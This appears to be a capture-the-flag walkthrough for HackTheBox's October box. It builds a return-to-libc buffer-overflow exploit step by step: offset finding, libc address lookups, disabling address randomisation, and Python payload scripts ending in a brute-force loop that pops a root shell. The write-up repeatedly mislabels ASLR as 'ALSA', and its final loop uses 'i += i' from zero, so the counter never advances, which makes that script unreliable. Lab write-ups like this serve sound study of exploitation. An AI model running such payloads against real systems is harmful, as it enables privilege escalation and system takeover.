Buffer Overflow – Return to Libc

This article shows how to perform a buffer overflow on a vulnerable C program using the return-to-libc method to gain a bash shell.

In information security and programming, a buffer overflow, or buffer overrun, is an anomaly where a program, while writing data to a buffer, overruns the buffer’s boundary and overwrites adjacent memory locations.

Return-to-libc is a method that defeats stack protection on Linux systems.

This article demonstrates how to attack a vulnerable C program by using buffer overflow and return-to-libc method to pop a bash shell.

The example comes from HackTheBox’s October Box. You can download the C program by clicking this link (MD5 is: 0e531949d891fd56a2ead07610cc5ded).

We will use Kali Linux for the buffer overflow. We need to install peda.py in our Kali Linux. You can learn how to install it by clicking this link.

There is a vulnerable program on the target server. However, the target server does not have any analysis tools (such as gdb). We download the program to our local machine and develop an initial exploit program, then create a final version of the exploit on the target server based on our initial exploit.

We use the following command to check if the ALSA is enabled on the server. If the address is changing, it means that ALSA is enabled.

1
ldd ./vuln | grep libc

Check ALSA
Check ALSA

We can see that the ALSA is enabled. It does not matter much, as we will bypass it. I will explain how to bypass it at the end of this article.

We create our payload with the following command:

1
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 300

Create Pattern Payload
Create Pattern Payload

Then, we run gdb and execute the above payload to check buffer length.

Check Buffer Length
Check Buffer Length

It returns a value: 0x64413764. This is our buffer size. We translate this size with the following command:

1
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x64413764

It returns 112, indicating that the buffer size is 112.

We create an empty Python file and insert the following content:

1
2
3
4
5
6
import struct

buf = "A" * 112
buf += struct.pack("<I", 0xb7e19000) # Exit Address, Does not matter

print(buf)

We run it in gdb:

First Payload
First Payload

We find that the exit address changes to the address we provided in the payload.

Now, we need to obtain three addresses. First, we get the System and /bin/sh addresses. We start gdb again.

Obtain System and /bin/sh Address
Obtain System and /bin/sh Address

As we can see: System address is: 0xf7e3f310 /bin/sh address is: 0xf7f61bac

We can obtain the exit address by executing searchmem exit in gdb.

Obtain Exit Address
Obtain Exit Address

In this case, we are using: 0xf7e0d1db

The following script is our second payload.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
import struct

system_addr = struct.pack("<I", 0xf7e3f310)
arg_addr = struct.pack("<I", 0xf7f61bac)
exit_addr = struct.pack("<I", 0xf7e0d1db)

buf = "A" * 112
buf += system_addr
buf += exit_addr
buf += arg_addr

print(buf)

As I mentioned, ALSA is open. We need to temporarily close it on our local machine to test our payload.

Execute the following command to close/disable the ALSA.

1
echo 0 > /proc/sys/kernel/randomize_va_space

Then, we run our payload. You will see that we got a shell.

Got shell without ALSA
Got shell without ALSA

The above payload just works on our local machine. It will not work on the target server, because when we run the application on the target server, the address will totally be changed. Now, we are going to develop the final payload.

First, due to ALSA protection, the address keeps changing. We need to get a base address.

We can see that the base address is: 0xb761f000

Libc Base Address
Libc Base Address

Secondly, We need to obtain libc system address on the server.

1
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system

Libc System Address
Libc System Address

we can see that the address is: 0x00040310

Thirdly, We need to obtain exit address on the server.

We can see that the exit address is: 0x00033260

Libc Exit Address
Libc Exit Address

Finally, We need to obtain libc /bin/sh address.

1
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh

We can see that the /bin/sh address is: 0x00162bac

Libc /bin/sh Address
Libc /bin/sh Address

Due to the ALSA protection, we have to use “brute force” to obtain the valid address.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from subprocess import call
import struct

libc_addr = 0xb761f000
sys_off_addr = 0x00040310
exit_off_addr = 0x00033260
arg_off_addr = 0x00162bac

sys_addr = struct.pack("<I", libc_addr+sys_off_addr)
exit_addr = struct.pack("<I", libc_addr+exit_off_addr)
arg_addr = struct.pack("<I", libc_addr+arg_off_addr)

buf = "A" * 112
buf += sys_addr
buf += exit_addr
buf += arg_addr

i = 0
while (i < 512):
    print("Try: %s" %i)
    print(buf)
    i += i
    ret = call(["/usr/local/bin/ovrflw", buf])

After executed the above payload, we successfully buffer overflowed the vulnerable app and obtained the root shell.

Buffer Overflow return Root Shell
Buffer Overflow return Root Shell